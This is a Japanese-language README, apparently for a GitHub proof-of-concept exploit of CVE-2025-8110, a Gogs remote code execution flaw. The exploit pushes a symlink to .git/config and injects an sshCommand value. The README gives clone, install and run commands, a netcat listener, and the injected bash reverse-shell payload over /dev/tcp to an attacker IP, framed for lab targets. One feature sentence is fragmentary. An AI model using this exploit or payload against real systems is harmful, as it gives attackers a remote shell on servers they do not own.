
CVE-2025-8110 用の概念実証エクスプロイト。シンボリックリンクを介したパストラバーサルと sshCommand インジェクションを悪用してリバースシェルを取得する、Gogs の RCE 脆弱性です。
CVE-2025-8110 の概念実証 (PoC) です。Gogs における重大な脆弱性で、シンボリックリンクのバイパスと sshCommand インジェクションを介した .git/config の操作により、リモートコード実行 (RCE) を可能にします。
このエクスプロイトは、Gogs API のコンテンツ管理におけるパストラバーサルの脆弱性を標的とします。認証されたユーザーは以下を実行できます。
.git/config を指す シンボリックリンク をプッシュします。sshCommand を注入して、サーバーが Git 操作を実行する際に リバースシェル を実行します。!, @) を処理します。Rich ライブラリを使用した視認性の高いロギング。git clone https://github.com/Ghxstsec/CVE-2025-8110.git
cd CVE-2025-8110
依存関係をインストールします:
pip3 install -r requirements.txt
💻 使用方法
リスナーを起動します:
nc -lvnp 6666
エクスプロイトを実行します:
python3 CVE-2025-8110-RCE.py -u [http://target-gogs.htb:3000](http://target-gogs.htb:3000) -lh <YOUR_IP> -lp 6666 -p 'YourPassword123!'
引数:
sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #
Gogs がネットワーク転送を必要とする Git コマンド (ミラー同期や内部参照チェックなど) を実行すると、sshCommand が呼び出され、リバースシェルが起動します。
| 引数 | 説明 |
|---|
-u, --url | ターゲットの Gogs インスタンスのベース URL (例: http://target.htb:3000)。 |
-lh, --host | リバースシェルが接続してくる攻撃者の IP (LHOST)。 |
-lp, --port | あなたのマシンで設定するリスナーポート (LPORT)。 |
-p, --password | 認証に使用する pwnuser アカウントのパスワード。 |
-x, --proxy | (任意) ローカルプロキシ経由でトラフィックをルーティングします (デフォルト: http://localhost:8080)。 |